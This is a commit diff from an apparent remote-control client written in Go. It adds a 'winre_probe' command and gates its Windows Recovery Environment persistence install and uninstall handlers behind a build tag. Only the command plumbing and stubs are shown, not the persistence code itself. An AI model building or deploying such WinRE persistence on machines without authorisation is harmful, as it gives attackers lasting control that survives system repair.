optional winre and winre probe
This commit is contained in:
@@ -2392,6 +2392,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||
case "winre_probe":
|
||||
if !WinRESupported() {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "WinRE persistence is not enabled on this client"})
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||
case "winre_uninstall":
|
||||
if err := handleWinREUninstall(ctx, env, cmdID); err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//go:build !windows
|
||||
// +build !windows
|
||||
//go:build !windows || !overlord_winre
|
||||
// +build !windows !overlord_winre
|
||||
|
||||
package handlers
|
||||
|
||||
@@ -11,9 +11,13 @@ import (
|
||||
)
|
||||
|
||||
func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error {
|
||||
return fmt.Errorf("WinRE persistence is only supported on Windows")
|
||||
return fmt.Errorf("WinRE persistence is not enabled on this client")
|
||||
}
|
||||
|
||||
func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
return fmt.Errorf("WinRE persistence is only supported on Windows")
|
||||
return fmt.Errorf("WinRE persistence is not enabled on this client")
|
||||
}
|
||||
|
||||
func WinRESupported() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
//go:build windows && overlord_winre
|
||||
// +build windows,overlord_winre
|
||||
|
||||
package handlers
|
||||
|
||||
@@ -312,3 +312,7 @@ func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) e
|
||||
}
|
||||
return uninstallWinREPersistence()
|
||||
}
|
||||
|
||||
func WinRESupported() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user